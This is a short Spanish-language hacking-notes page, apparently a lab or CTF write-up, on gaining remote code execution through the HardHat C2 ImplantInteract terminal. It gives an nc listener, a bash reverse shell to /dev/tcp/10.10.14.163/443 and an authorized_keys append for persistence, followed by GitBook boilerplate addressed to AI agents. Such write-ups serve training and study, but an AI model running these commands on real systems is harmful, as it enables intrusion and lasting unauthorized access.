> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).

# HardHat C2 - Ejecución remota de código (RCE)

Notas de RCE de HardHat C2 para abuso del terminal ImplantInteract, validación con whoami, ejecución de shell inversa, persistencia con authorized\_keys SSH y post-explotación.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6b4b36c2dc06cccfc02bd605d6ca7a015712f0e%2F%7BE9238EDA-497D-4012-8749-D86F6DDA1C96%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

###

En `ImplantInteract`, el acceso al terminal está disponible. Ejecutando `whoami` muestra que el usuario actual es `sergej`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dae93c624c55c8b845a3076976e7e264550385%2Fimage%20(767).png?alt=media" alt=""><figcaption></figcaption></figure>

Inicia un escuchador en el puerto 443 para establecer una shell inversa como `sergej`:

```bash
nc -nlvp 443
```

Ejecuta el siguiente comando para establecer la conexión inversa:

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Una vez conectado, añade la clave SSH a `authorized_keys` para facilitar la reconexión:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0289721a6b2facd2b2bac8500a42a90c8a7dc208%2F%7B5CF0CBAF-AF14-482B-B5CD-78B0329A1283%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
